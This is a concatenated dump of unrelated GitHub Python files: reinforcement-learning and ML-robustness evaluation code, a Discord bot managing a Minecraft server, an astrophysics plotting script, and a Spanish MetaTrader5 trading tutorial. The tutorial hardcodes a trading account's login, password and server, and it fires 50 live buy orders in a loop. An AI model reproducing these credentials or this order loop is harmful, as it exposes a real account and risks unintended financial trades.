reward in episode {} = {}, loss : {}, epsilon : {}, time_step : {}, episode_duration : {}\".format(env.map_name,\n e,\n episode_reward,\n loss,\n epsilon,\n t, start-time.time()))\n\n\n return episode_reward, epsilon, t, eval\n\ndef main():\n #writer = SummaryWriter('logs/')\n env1 = StarCraft2Env(map_name=map_name1, step_mul=8, replay_dir=\"Replays\", seed=123)\n env1.reset()\n num_unit_types, unit_type_ids = get_agent_type_of_envs([env1])\n env1.generate_num_unit_types(num_unit_types, unit_type_ids)\n\n\n\n hidden_size_obs = 32 # GAT 해당(action 및 node representation의 hidden_size)\n hidden_size_comm = 60\n hidden_size_Q = 84 # GAT 해당\n hidden_size_meta_path = 42 # GAT 해당\n n_representation_obs = 36 # GAT 해당\n n_representation_comm = 69\n buffer_size = 150000\n batch_size = 32\n gamma = 0.99\n learning_rate = 1.3e-4\n n_multi_head = 1\n dropout = 0.6\n num_episode = 1000000\n train_start = 10\n epsilon = 1\n min_epsilon = 0.05\n anneal_steps = 50000\n teleport_probability = 0.9\n gtn_beta = 0.1\n\n anneal_epsilon = (epsilon - min_epsilon) / anneal_steps\n\n initializer = True\n agent1 = Agent(num_agent=env1.get_env_info()[\"n_agents\"],\n num_enemy=env1.get_env_info()[\"n_enemies\"],\n feature_size=env1.get_env_info()[\"node_features\"],\n hidden_size_meta_path = hidden_size_meta_path,\n hidden_size_obs=hidden_size_obs,\n hidden_size_comm=hidden_size_comm,\n hidden_size_Q=hidden_size_Q,\n n_multi_head=n_multi_head,\n n_representation_obs=n_representation_obs,\n n_representation_comm=n_representation_comm,\n dropout=dropout,\n action_size=env1.get_env_info()[\"n_actions\"],\n buffer_size=buffer_size,\n batch_size=batch_size,\n max_episode_len=env1.episode_limit,\n learning_rate=learning_rate,\n gamma=gamma,\n GNN=GNN,\n teleport_probability= teleport_probability,\n gtn_beta = gtn_beta)\n\n # agent2 = Agent(num_agent=env2.get_env_info()[\"n_agents\"],\n # feature_size=env2.get_env_info()[\"node_features\"],\n # hidden_size_obs=hidden_size_obs,\n # hidden_size_comm=hidden_size_comm,\n # hidden_size_Q=hidden_size_Q,\n # n_multi_head=n_multi_head,\n # n_representation_obs=n_representation_obs,\n # n_representation_comm=n_representation_comm,\n # dropout=dropout,\n # action_size=env2.get_env_info()[\"n_actions\"],\n # buffer_size=buffer_size,\n # batch_size=batch_size,\n # max_episode_len=env2.episode_limit,\n # learning_rate=learning_rate,\n # gamma=gamma)\n\n\n\n\n\n\n #network_sharing([agent1])\n t = 0\n epi_r = []\n win_rates = []\n for e in range(num_episode):\n episode_reward, epsilon, t, eval = train(agent1, env1, e, t, train_start, epsilon, min_epsilon, anneal_epsilon, initializer)\n initializer = False\n epi_r.append(episode_reward)\n if e % 100 == 1:\n\n r_df= pd.DataFrame(epi_r)\n r_df.to_csv(\"reward.csv\")\n\n if eval == True:\n win_rate = evaluation(env1, agent1, 32)\n\n wr_df = pd.DataFrame(win_rates)\n wr_df.to_csv(\"win_rate.csv\")\n\n\n\n\n\n\n\nmain()\n\n","repo_name":"suenghuny/Starcraft-MARL1","sub_path":"main_for_linux.py","file_name":"main_for_linux.py","file_ext":"py","file_size_in_byte":10020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"24419084198","text":"\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\nfrom torch.utils.tensorboard import SummaryWriter\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self, name, writer=None):\n self.name = name\n self.writer = writer\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n \n def summary(self, epoch=None, some_txt=''):\n if self.writer is not None:\n #print(f\"writing {self.name}\")\n self.writer.add_scalar(self.name, self.avg, epoch)\n return f'{self.name} at epoch {epoch} [{some_txt}] => {self.avg}'\n\n\nclass BinaryAccuracy(object):\n \"\"\"Computes and stores the accuracy for binaru classication\"\"\"\n def __init__(self, name, writer=None):\n self.name = name\n self.writer = writer\n self.reset()\n\n def reset(self):\n self.all_pred = []\n self.all_target = []\n\n def update(self, pred_logits, target, threshold = 0):\n\n # convert to the predictions\n pred = np.zeros(pred_logits.shape[0])\n # print(pred.shape, pred_logits.shape)\n pred[pred_logits > threshold] = 1\n\n # collect all labels\n self.all_pred.append(pred)\n self.all_target.append(target)\n \n\n def summary(self, epoch=None, some_txt=''):\n\n all_pred = np.concatenate(self.all_pred)\n all_target = np.concatenate(self.all_target)\n\n cm = confusion_matrix(all_target, all_pred, labels=[0,1], normalize='true')\n tn, fp, fn, tp = cm.ravel()\n\n ba = (tp + tn)*0.5\n if self.writer is not None:\n self.writer.add_scalar(f'{self.name}/TNR', tn, epoch)\n self.writer.add_scalar(f'{self.name}/TPR', tp, epoch)\n self.writer.add_scalar(f'{self.name}/BAcc', ba, epoch)\n \n\n #return f'{tn_str} {fp_str} {fn_str} {tp_str}'\n return f'{self.name} at epoch {epoch} [{some_txt}] =>: Bacc: {ba}, TNR: {tn}, TPR: {tp}'\n\n\nclass BinaryAccuracyWithCat(object):\n \"\"\"Computes and stores the accuracy for binaru classication\"\"\"\n def __init__(self, name, writer=None, categories=['box', 'bottle', 'bowl', 'mug', 'cylinder', 'spatula', 'hammer', 'pan', 'fork', 'scissor']):\n self.name = name\n self.writer = writer\n self.categories = categories\n self.reset()\n\n def reset(self):\n self.all_pred = {}\n self.all_target = {}\n for cat in self.categories:\n self.all_pred[cat] = []\n self.all_target[cat] = []\n\n def update(self, pred_logits, target, cat, threshold = 0):\n\n # convert to the predictions\n pred = np.zeros(pred_logits.shape[0])\n # print(pred.shape, pred_logits.shape)\n pred[pred_logits > threshold] = 1\n\n\n # collect all labels\n for i in range(len(cat)):\n self.all_pred[cat[i]].append(pred[i])\n if target[i] >= 0.5:\n self.all_target[cat[i]].append(1)\n else:\n self.all_target[cat[i]].append(0)\n \n def summary(self, epoch=None, some_txt=''):\n\n \n print(f'{self.name} at epoch {epoch} [{some_txt}]:')\n all_pred = []\n all_target = []\n for cat in self.all_pred.keys():\n all_pred.append(self.all_pred[cat])\n all_target.append(self.all_target[cat])\n\n cm = confusion_matrix(self.all_target[cat], self.all_pred[cat], labels=[0,1], normalize='true')\n tn, fp, fn, tp = cm.ravel()\n ba = (tp + tn)*0.5\n print(f'{cat} =>: Bacc: {ba}, TNR: {tn}, TPR: {tp}')\n\n \n all_pred = np.concatenate(all_pred)\n all_target = np.concatenate(all_target)\n\n cm = confusion_matrix(all_target, all_pred, labels=[0,1], normalize='true')\n tn, fp, fn, tp = cm.ravel()\n \n ba = (tp + tn)*0.5\n if self.writer is not None:\n self.writer.add_scalar(f'{self.name}/TNR', tn, epoch)\n self.writer.add_scalar(f'{self.name}/TPR', tp, epoch)\n self.writer.add_scalar(f'{self.name}/BAcc', ba, epoch)\n\n print(f'Total =>: Bacc: {ba}, TNR: {tn}, TPR: {tp}')","repo_name":"tasbolat1/graspflow","sub_path":"graspflow/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"8251842491","text":"import discord\nfrom discord.ext import commands, tasks\nfrom discord import app_commands\nimport datetime\nimport logging\nimport asyncio\nimport re\n\nimport config\nfrom utilities.parse_tmux_pid import get_tmux_pid\n\nLOG = logging.getLogger(\"MC-SERVER\")\n\n\ndef stop_server(bot):\n bot.console_pane.send_keys(\"stop\")\n\n\ndef start_server(bot):\n bot.console_pane.reset()\n bot.console_pane.send_keys(\"cd \" + config.server[\"root\"])\n bot.console_pane.send_keys(config.programs[\"minecraft\"])\n\n\ndef get_server_process():\n # Get the tmux session.\n tree = get_tmux_pid(config.tmux_data[\"tmux_session\"])\n\n # Check if java process exists with the -jar argument.\n # NOTE: If we change the amount of tmux windows in the future, we will likely need to change this.\n\n # Get the java process.\n def descend(node):\n for child in node[\"children\"]:\n if child[\"process_name\"] == \"java\" and child[\"arguments\"].endswith(\"nogui\"):\n return child\n else:\n return descend(child)\n\n return descend(tree)\n\n\ndef get_countdown_message(time: int):\n if time > 3600 and time % 3600 == 0:\n return f\"{time // 3600} hours\"\n if time == 3600:\n return \"1 hour\"\n if time == 1800:\n return \"30 minutes\"\n if time == 900:\n return \"15 minutes\"\n if time == 600:\n return \"10 minutes\"\n if time == 300:\n return \"5 minutes\"\n if time == 60:\n return \"1 minute\"\n if time == 30:\n return \"30 seconds\"\n if time == 0:\n return \"now\"\n\n\ndef get_time_after(time: datetime.time, seconds: int) -> datetime.time:\n hour = time.hour\n minute = time.minute\n second = time.second\n\n hours_add = seconds // 3600\n seconds %= 3600\n minutes_add = seconds // 60\n seconds %= 60\n seconds_add = seconds\n\n hour += hours_add\n minute += minutes_add\n second += seconds_add\n\n hour %= 24\n minute %= 60\n second %= 60\n\n return datetime.time(hour=hour, minute=minute, second=second, tzinfo=time.tzinfo)\n\n\nclass ServerCog(commands.Cog):\n \"\"\"\n This cog controls the minecraft server itself.\n Shutdown, startup, etc.\n\n This also does automatic restarts.\n \"\"\"\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n self.session_message = None\n self.notification_channel = None\n self.server_pid = None\n self.running = False\n self.stopping = False\n self.cancel_restart = False\n self.restart_lock = False\n self.crash_lock = False\n self.notifications = False\n self.skip_restart = 0\n self.restart_time = 0\n self.crash_count = 0\n\n # Start the autmatic tasks.\n self.automatic_stop_task.start()\n self.check_server_running.start()\n\n @app_commands.command(\n name=\"shutdown\", description=\"Shut down the Minecraft server.\"\n )\n @app_commands.checks.cooldown(1, 180.0)\n @app_commands.checks.has_permissions(administrator=True)\n async def shutdown(self, interaction: discord.Interaction) -> None:\n if self.running:\n stop_server(self.bot)\n self.stopping = True\n await interaction.response.send_message(\n \"Server is shutting down. Please give it a minute before attempting to start it again.\"\n )\n else:\n await interaction.response.send_message(\n \"Server is not currently running.\", ephemeral=True\n )\n await asyncio.sleep(4)\n await interaction.delete_original_response()\n\n @app_commands.command(name=\"startup\", description=\"Start up the Minecraft server.\")\n @app_commands.checks.cooldown(1, 180.0)\n @app_commands.checks.has_permissions(administrator=True)\n async def startup(self, interaction: discord.Interaction) -> None:\n if not self.running:\n if self.crash_lock:\n await interaction.response.send_message(\n \"Server startup is currently locked due to a crash-loop.\",\n ephemeral=True,\n )\n return\n\n start_server(self.bot)\n await interaction.response.send_message(\"Server startup has been queued.\")\n self.running = True\n self.restart_lock = False\n else:\n await interaction.response.send_message(\n \"Server is currently running.\", ephemeral=True\n )\n await asyncio.sleep(4)\n await interaction.delete_original_response()\n\n @app_commands.command(\n name=\"cancel-restart\", description=\"Cancel the current restart timer.\"\n )\n @app_commands.checks.has_permissions(administrator=True)\n async def cancel_restart_cmd(self, interaction: discord.Interaction) -> None:\n if self.restart_time == 0:\n await interaction.response.send_message(\n \"No server restart in progress.\", ephemeral=True\n )\n await asyncio.sleep(4)\n await interaction.delete_original_response()\n return\n\n self.cancel_restart = True\n await interaction.response.send_message(\"Server restart will be cancelled.\")\n\n @app_commands.command(\n name=\"skip-restart\",\n description=\"Skip the next server restarts. Defaults to 1.\",\n )\n @app_commands.describe(\n count=\"The amount of restarts to skip, defaults to a single restart.\"\n )\n @app_commands.checks.has_permissions(administrator=True)\n async def skip_restart_cmd(\n self, interaction: discord.Interaction, count: int = 1\n ) -> None:\n self.skip_restart = count\n await interaction.response.send_message(\n f\"The next {count} restarts will be skipped.\"\n )\n\n @app_commands.command(\n name=\"queue-restart\",\n description=\"Queue a restart in time. Defaults to one hour time (3600 seconds).\",\n )\n @app_commands.describe(\n time=\"The amount of time to delay the restart by. This will override the current restart timer, if one is running.\"\n )\n @app_commands.checks.has_permissions(administrator=True)\n async def queue_restart(\n self, interaction: discord.Interaction, time: int = 3601\n ) -> None:\n self.restart_time = time + 1\n if not self.automatic_restart_task.is_running():\n self.restart_lock = True\n self.automatic_restart_task.start()\n await interaction.response.send_message(\n f\"Restart queued for {time} seconds.\"\n )\n else:\n await interaction.response.send_message(\n f\"Restart delay updated to {time} seconds.\"\n )\n\n @app_commands.command(\n name=\"set-state\",\n description=\"Mark the server as online or offline, useful if server module is reloaded.\",\n )\n @app_commands.describe(online=\"The server state.\")\n @app_commands.checks.has_permissions(administrator=True)\n async def set_state(self, interaction: discord.Interaction, online: bool) -> None:\n self.running = online\n await interaction.response.send_message(\n f\"Set server online state to {online}.\", delete_after=4\n )\n if self.session_message != None:\n await asyncio.sleep(4)\n await self.session_message.delete()\n self.session_message = None\n\n @app_commands.command(\n name=\"unlock\",\n description=\"Unlock the server startup after being stuck in a crash loop.\",\n )\n @app_commands.checks.has_permissions(administrator=True)\n async def unlock(self, interaction: discord.Interaction) -> None:\n self.crash_lock = False\n self.crash_count = 0\n await interaction.response.send_message(\n \"Server startup unlocked.\", ephemeral=True, delete_after=4\n )\n\n @app_commands.command(\n name=\"reboot-schedule\",\n description=\"Display the automatic restart schedule of the Minecraft server.\",\n )\n async def reboot_schedule(self, interaction: discord.Interaction) -> None:\n await interaction.response.send_message(\n f\"Server restart begins at {config.server['restart_time']} (Timezone: {config.server['restart_time'].tzinfo.key}), delay is {config.server['restart_delay']} seconds.\",\n ephemeral=True,\n )\n\n @app_commands.command(\n name=\"list-players\", description=\"Get the amount of players currently online.\"\n )\n async def get_online(self, interaction: discord.Interaction) -> None:\n if self.running:\n self.bot.console_pane.send_keys(\"list\")\n await interaction.response.send_message(\n \"Fetching player list...\", delete_after=2\n )\n else:\n await interaction.response.send_message(\n \"Server is offline!\", ephemeral=True, delete_after=4\n )\n\n @tasks.loop(seconds=1)\n async def automatic_restart_task(self):\n if self.cancel_restart:\n self.cancel_restart = False\n self.restart_lock = False\n self.automatic_restart_task.stop()\n return\n\n if self.skip_restart > 0:\n self.skip_restart -= 1\n self.restart_lock = False\n self.automatic_restart_task.stop()\n return\n\n if self.running:\n self.restart_time -= 1\n\n if self.restart_time <= -1:\n self.automatic_restart_task.stop()\n stop_server(self.bot)\n self.running = False\n await asyncio.sleep(120)\n if not self.running:\n LOG.info(\"Server automatically starting up.\")\n start_server(self.bot)\n self.running = True\n\n self.restart_lock = False\n return\n\n time = get_countdown_message(self.restart_time)\n if time:\n await self.bot.bridge_channel.send(\n embed=discord.Embed(\n color=0xFF00FF,\n description=f\":warning: Automatic server restart in {time}.\",\n )\n )\n\n @tasks.loop(time=config.server[\"restart_time\"])\n async def automatic_stop_task(self):\n if self.restart_lock:\n return\n\n if self.running:\n self.restart_lock = True\n LOG.info(\n f\"Server automatically shutting down after {config.server['restart_delay']} seconds.\"\n )\n self.restart_time = config.server[\"restart_delay\"] + 1\n if not self.automatic_restart_task.is_running():\n self.automatic_restart_task.start()\n\n @tasks.loop(count=1)\n async def check_crash_loop(self):\n await asyncio.sleep(300)\n LOG.info(\"Crash loop timeout.\")\n self.check_crash_loop.stop()\n\n # Check that the server is still running. If the server shuts down unexpectedly, this will detect it.\n @tasks.loop(seconds=5)\n async def check_server_running(self):\n if not self.running:\n self.bot.block_chat = True\n return\n\n server_process = get_server_process()\n\n if server_process:\n self.bot.block_chat = False\n else:\n self.bot.block_chat = True\n # Server stopped!\n LOG.warn(\"Server stopped!\")\n if self.stopping:\n self.running = False\n self.stopping = False\n self.crash_count = 0\n return # Nothing to worry about!\n\n self.running = False\n self.restart_lock = False\n\n # Check if the crash loop task is running\n if self.check_crash_loop.is_running():\n # If it is, that means we crashed within 5 minutes of crashing. Increment crash count.\n self.crash_count += 1\n else:\n # If it isn't, it means we are outside the crash count. Reset the counter.\n self.crash_count = 1\n\n self.check_crash_loop.stop()\n self.check_crash_loop.cancel()\n await asyncio.sleep(1) # Hopefully this is enough for the task to stop?\n self.check_crash_loop.start()\n\n if self.crash_count >= 5:\n LOG.error(\"Server crashed 5 times in a row, not restarting.\")\n self.restart_lock = True\n self.crash_lock = True\n\n content = None\n embed = discord.Embed(\n color=0xFF0000,\n description=\":no_entry: Crash loop detected, server startup locked.\",\n )\n if self.notifications:\n if config.server[\"ping_role_in_bridge\"]:\n content = self.notification_ping\n else:\n await self.notification_channel.send(\n self.notification_ping\n + \" The server has crashed 5 times in a row and has been locked. Please investigate.\"\n )\n embed.set_footer(text=\"Operators have been notified.\")\n\n await self.bot.bridge_channel.send(content=content, embed=embed)\n else:\n LOG.warn(\n f\"Server crashed ({self.crash_count} times in a row), restarting.\"\n )\n start_server(self.bot)\n self.running = True\n self.restart_lock = False\n\n content = None\n embed = discord.Embed(\n color=0xFFFF00 if self.crash_count < 4 else 0xFFAA00,\n description=\":warning: Server crash detected, restarting.\"\n if self.crash_count < 4\n else \":warning: Server crash detected, restarting. Server is potentially in a crash-loop.\",\n )\n if self.notifications:\n if config.server[\"ping_role_in_bridge\"]:\n content = self.notification_ping\n else:\n await self.notification_channel.send(\n self.notification_ping\n + \" The server has crashed and is restarting.\"\n )\n embed.set_footer(text=\"Operators have been notified.\")\n\n await self.bot.bridge_channel.send(content=content, embed=embed)\n\n async def get_channels(self):\n LOG.info(\"Getting channels.\")\n\n LOG.info(\" Bridge channel.\")\n self.bot.bridge_channel = self.bot.get_channel(config.bot[\"channel_id\"])\n LOG.info(\" Got bridge channel.\")\n\n LOG.info(\" Notification channel (if enabled)\")\n self.notifications = config.server[\"enable_notifications\"]\n if self.notifications:\n self.notification_ping = (\n \"<@\" + str(config.server[\"notification_role_id\"]) + \">\"\n )\n\n if config.server[\"ping_role_in_bridge\"]:\n LOG.info(\n \" Not getting notification channel, ping_role_in_bridge is true. Ping will be appended to the message in the bridge channel.\"\n )\n else:\n self.notification_channel = self.bot.get_channel(\n config.server[\"notification_channel_id\"]\n )\n LOG.info(\" Got notification channel.\")\n else:\n LOG.info(\n \" Not getting notification channel, notifications are disabled.\"\n )\n\n # TODO: Confirm that the channels were actually \"gotten\" in the above code.\n\n if self.bot.session_existed:\n # Check if java process exists with the -jar argument.\n # NOTE: If we change the amount of tmux windows in the future, we will likely need to change this.\n\n # Get the java process.\n java_process = get_server_process()\n\n base_embed = None\n\n if not java_process:\n base_embed = discord.Embed(\n color=0xFF00FF,\n description=\"Session already exists and no java process was found. Assuming the server is offline.\",\n )\n self.running = False\n self.restart_lock = False\n else:\n base_embed = discord.Embed(\n color=0xFF00FF,\n description=\"Session already exists and a java process was found. Assuming the server is online.\",\n )\n self.running = True\n self.restart_lock = False\n self.server_pid = java_process[\"pid\"]\n\n base_embed.set_footer(text=\"Use /set-state to override this.\")\n\n self.session_message = await self.bot.bridge_channel.send(embed=base_embed)\n\n @commands.Cog.listener()\n async def on_ready(self):\n await self.get_channels()\n\n async def cog_load(self): # If the cog reloads, this can get the channel again.\n if self.bot.is_ready():\n await self.get_channels()\n\n async def cog_unload(self):\n if self.automatic_restart_task.is_running():\n self.automatic_restart_task.stop()\n if self.automatic_stop_task.is_running():\n self.automatic_stop_task.stop()\n if self.check_server_running.is_running():\n self.check_server_running.cancel() # This one doesn't need to safely exit.\n if self.check_crash_loop.is_running():\n self.check_crash_loop.cancel() # This one doesn't need to safely exit.\n\n try:\n await self.bot.bridge_channel.send(\":warning: Server cog unloaded.\")\n except Exception as e:\n LOG.error(f\"Failed to send cog unload notification: {e}\")\n\n\nasync def setup(bot):\n LOG.info(\n f\"Server shutdown timer is scheduled for {config.server['restart_time']} in timezone {config.server['restart_time'].tzinfo.key}, timer is {config.server['restart_delay']} seconds.\"\n )\n LOG.info(\n f\"Server should shut down around {get_time_after(config.server['restart_time'], config.server['restart_delay'])} and start back up around {get_time_after(config.server['restart_time'], config.server['restart_delay'] + 120)}.\"\n )\n await bot.add_cog(ServerCog(bot))\n","repo_name":"PlotCC/Minecraft-Discord-Bridge","sub_path":"cogs/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":18329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71916038875","text":"import numpy as np\nimport pylab\nimport lens_models\n\n\nng = 5\ngamma_grid = np.linspace(1.8, 2.2, ng)\n\nnc = 101\nrc_grid = np.logspace(-5., -3., nc)\n\nlens = lens_models.cored_powerlaw()\nfor i in range(ng):\n lens.gamma = gamma_grid[i]\n\n caustic_grid = np.zeros(nc)\n for j in range(nc):\n lens.rc = rc_grid[j]\n\n lens.get_caustic()\n\n caustic_grid[j] = lens.caustic\n\n pylab.plot(rc_grid, caustic_grid, label='$\\gamma=%2.1f$'%gamma_grid[i])\n\npylab.legend()\npylab.show()\n\n# now plots inner image magnification as a function of gamma, for various source positions\n\nlens.rc = 1e-4\n\nns = 20\nsource_grid = np.linspace(0.1, 2., ns)\nfor i in range(ng):\n lens.gamma = gamma_grid[i]\n lens.get_caustic()\n inmag_grid = np.zeros(ns)\n for j in range(ns):\n if source_grid[j] < lens.caustic:\n lens.source = source_grid[j]\n lens.get_images()\n inmag_grid[j] = lens.mu(lens.images[1])\n\n pylab.plot(source_grid, inmag_grid, label='$\\gamma=%2.1f$'%gamma_grid[i])\n\npylab.axhline(-1., linestyle='--', color='k')\n\npylab.legend()\npylab.show()\n\n","repo_name":"astrosonnen/allZeLenses","sub_path":"allZeTests/plot_cored_powerlaw_caustic.py","file_name":"plot_cored_powerlaw_caustic.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33497097174","text":"from __future__ import print_function\nimport argparse\nimport yaml\nimport os\nimport shutil\nimport torch\nfrom mmcv import Config, mkdir_or_exist\n\nfrom models.Networks import *\nfrom utils.env import get_root_logger, set_default_configs, load_checkpoint, init_dist\nfrom datasets.builder import build_datasets\nfrom attacks.pgd_attack import eval_adv_test_whitebox_pgd, eval_clean_only\nfrom attacks.auto_attack import eval_auto_attack\nfrom datasets.loader.build_loader import build_dataloader\nfrom attacks.other_attacks import eval_adv_test_whitebox_full\n\nparser = argparse.ArgumentParser(description='PyTorch CIFAR PGD Attack Evaluation')\nparser.add_argument('config',\n default='./configs/cifar10_plain.yaml',\n help='path to config file')\nparser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\nparser.add_argument('--gpu', default=0, type=int,\n help='which gpu to use')\nparser.add_argument('--rename', '-r', action='store_true', default=False,\n help='whether allow renaing the checkpoints parameter to match')\nparser.add_argument('--from_file', '-f', action='store_true', default=False,\n help='analysis data from file')\nparser.add_argument('--eval_train_data', action='store_true', default=False,\n help='whether eval train data')\nparser.add_argument('--save_features', '-s', action='store_true', default=True,\n help='whether save features')\nparser.add_argument('--individual', action='store_true', default=False,\n help='whether to perform individual aa')\nparser.add_argument('--attacker', '-a', default='ALL', # ['ALL', 'PGD']\n help='which attack to perform')\nparser.add_argument('--launcher', choices=['none', 'pytorch', 'slurm', 'mpi'],\n default='none', help='job launcher')\nparser.add_argument('--local_rank', type=int, default=0)\nargs = parser.parse_args()\n\n\n# settings\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.gpu)\nuse_cuda = not args.no_cuda and torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\nkwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n\n# set configs\nwith open(args.config) as cf:\n cfgs = Config(yaml.safe_load(cf))\nmkdir_or_exist(cfgs.model_dir)\nshutil.copyfile(args.config, os.path.join(cfgs.model_dir, \"config_test.yaml\"))\nset_default_configs(cfgs)\n\n# setup logger\nlogger = get_root_logger(cfgs.log_level, cfgs.model_dir)\nlogger.info(\"Loading config file from {}\".format(args.config))\nlogger.info(\"Work_dir: {}\".format(cfgs.model_dir))\n\n# init distributed env first, since logger depends on the dist info.\nif args.launcher == 'none':\n distributed = False\nelse:\n distributed = True\n init_dist(args.launche)\n\n\ndef main():\n # set up data loader\n logger.info(\"Building test datasets {}\".format(cfgs.dataset))\n num_classes=cfgs.num_classes\n trainset, samples_per_cls = build_datasets(name=cfgs.dataset, mode='train',\n num_classes=num_classes,\n imbalance_ratio=cfgs.imbalance_ratio,\n root='../data')\n train_loader = build_dataloader(trainset, imgs_per_gpu=cfgs.test_batch_size, dist=False, shuffle=False)\n testset, _ = build_datasets(name=cfgs.dataset, mode='test',\n num_classes=num_classes, root='../data')\n test_loader = torch.utils.data.DataLoader(testset, batch_size=cfgs.test_batch_size, shuffle=False, **kwargs)\n\n if args.eval_train_data: # for some statistics\n mode = 'train'\n loader = train_loader\n else:\n mode = 'test'\n loader = test_loader\n\n if cfgs.white_box_attack:\n # white-box attack\n logger.info('pgd white-box attack')\n logger.info('Loading from {}'.format(cfgs.model_path))\n model = Networks(cfgs, num_classes=num_classes, samples_per_cls=samples_per_cls).to(device)\n # load checkpoint\n load_checkpoint(model, logger, cfgs.model_path, rename=args.rename)\n model.eval()\n\n eval_clean_only(model=model, device=device, logger=logger, test_loader=loader, cfgs=cfgs)\n\n if args.attacker == 'PGD':\n # PGD Attack\n eval_adv_test_whitebox_pgd(model, device, cfgs, logger, loader, num_classes,\n targeted=cfgs.targeted, save_features=args.save_features,\n mode=mode)\n elif args.attacker == 'ALL':\n # CW Attack\n eval_adv_test_whitebox_full(model, cfgs, device, logger, loader, 'CW')\n # MIM Attack\n eval_adv_test_whitebox_full(model, cfgs, device, logger, loader, 'MIM')\n # Auto Attack\n eval_auto_attack(model, device, cfgs, logger, loader, individual=args.individual)\n # PGD Attack\n # eval_adv_test_whitebox_full(model, cfgs, device, logger, loader, 'PGD', early_stop)\n # PGD Attack\n eval_adv_test_whitebox_pgd(model, device, cfgs, logger, loader, num_classes,\n targeted=cfgs.targeted, save_features=args.save_features,\n mode=mode , print_freq=100)\n else:\n raise NameError\n else:\n raise NotImplementedError\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wutong16/Adversarial_Long-Tail","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"50"} +{"seq_id":"41148226520","text":"# Asignación de Variables\n\nvariable_1 = 12\nvariable_2 = '35'\nvariable_3 = 23.5\nvariable_4 = True\n\ntype(variable_4)\n\nvariable_5 = variable_1 - variable_3\nvariable_6 = variable_1 + variable_3\nvariable_7 = variable_1 * variable_3\nvariable_8 = variable_1 / variable_3\n\nvariable_9 = float(variable_2) + 1\n\nlista_1 = [variable_1,variable_2,variable_3]\n\nprint(lista_1)\n\nprint(lista_1[0])\nprint(lista_1[1])\nprint(lista_1[2])\n\nlista_1[0] = 54\n\nfor i in lista_1:\n print(i,type(i))\n\nlista_nueva = [1,2,3]\n\nlista_1[0] = lista_nueva[0]\nlista_1[1] = lista_nueva[1]\n\n# len(lista_1)\n# range(3)\n\nfor n in range(len(lista_1)):\n lista_1[n] = lista_nueva[n]\n\nprint(lista_1)\n\nif variable_1 == 10:\n print(variable_1 + 2)\nelif (variable_1 >= 12) or (variable_2 == '34'):\n print('La variable si es mayor a 12')\nelse:\n print('La variable 1 no es igual a 10')\n\ndef multiplicar(var1,var2):\n print(var1*var2)\n\ndef dividir(var1,var2):\n print(var1/var2)\n\ndef calculadora(var1,var2,operacion):\n if operacion == 'mult':\n multiplicar(var1,var2)\n if operacion == 'div':\n dividir(var1,var2) \n\n\nfrom socket import CAN_RAW\nimport MetaTrader5 as mt5\n\nnombre = 67043467\nclave = 'Genttly.2022'\nservidor = 'RoboForex-ECN'\npath = r'C:\\Program Files\\MetaTrader 5\\terminal64.exe'\n\nmt5.initialize(login = nombre, password = clave, server = servidor, path = path)\n\nun_dict = {'precio':0.9983,'fecha':'2022-09-18','simbolo':'EURUSD'}\n\nun_dict['precio'] = 0.\n\nimport pandas as pd\n\ndf1 = pd.DataFrame([un_dict])\n\nrates = mt5.copy_rates_from_pos('BRENT', mt5.TIMEFRAME_M1, 0, 2000) \ntabla = pd.DataFrame(rates)\n\ntabla['open'].iloc[0]\ntabla.iloc[0,0]\n\ntabla['open'] - tabla['close']\n\ntabla['open'].sum()\ntabla['open'].mean()\ntabla['open'].rolling(10).mean()\n\ntabla['time'] = pd.to_datetime(tabla['time'],unit='s')\n\n\nclass Carros():\n\n def __init__(self,cilindraje,peso,color,marca):\n self.color = color\n self.peso = peso\n self.cilindraje = cilindraje\n self.marca = marca\n \n def encender_auto(self):\n print('El auto de marca',self.marca, 'está encendido')\n\n\ncolor = 'Azul'\npeso = 35\ncilindraje = 2000\nmarca = 'Chevrolet GT'\n\nel_carro_de_dany = Carros(color,peso,cilindraje,marca)\nel_carro_de_dany.encender_auto()\n\norden = {\n \"action\": mt5.TRADE_ACTION_DEAL,\n \"symbol\": 'EURUSD',\n \"volume\": 0.01,\n \"type\": mt5.ORDER_TYPE_BUY,\n \"magic\": 202204,\n \"comment\": \"My Bot\",\n \"type_time\": mt5.ORDER_TIME_GTC,\n \"type_filling\": mt5.ORDER_FILLING_FOK\n\n}\n\nmt5.order_send(orden)\n\nfor i in range(50):\n mt5.order_send(orden)\n\narray_pos = mt5.positions_get()\npost = pd.DataFrame(array_pos, columns= array_pos[0]._asdict().keys())\n\nlista_tickets = post['ticket'].tolist()\n\nfor ticket in lista_tickets:\n temporal = post[post['ticket'] == ticket]\n deal_id = temporal['ticket'].item()\n lotaje = temporal['volume'].item()\n orden_cierre = {\"action\": mt5.TRADE_ACTION_DEAL,\n \"symbol\": 'EURUSD',\n \"volume\": float(lotaje),\n \"position\": deal_id,\n \"type\": mt5.ORDER_TYPE_SELL,\n \"magic\": 202204,\n \"comment\": \"cierre operación\",\n \"type_time\": mt5.ORDER_TIME_GTC,\n \"type_filling\": mt5.ORDER_FILLING_FOK\n\n }\n\n 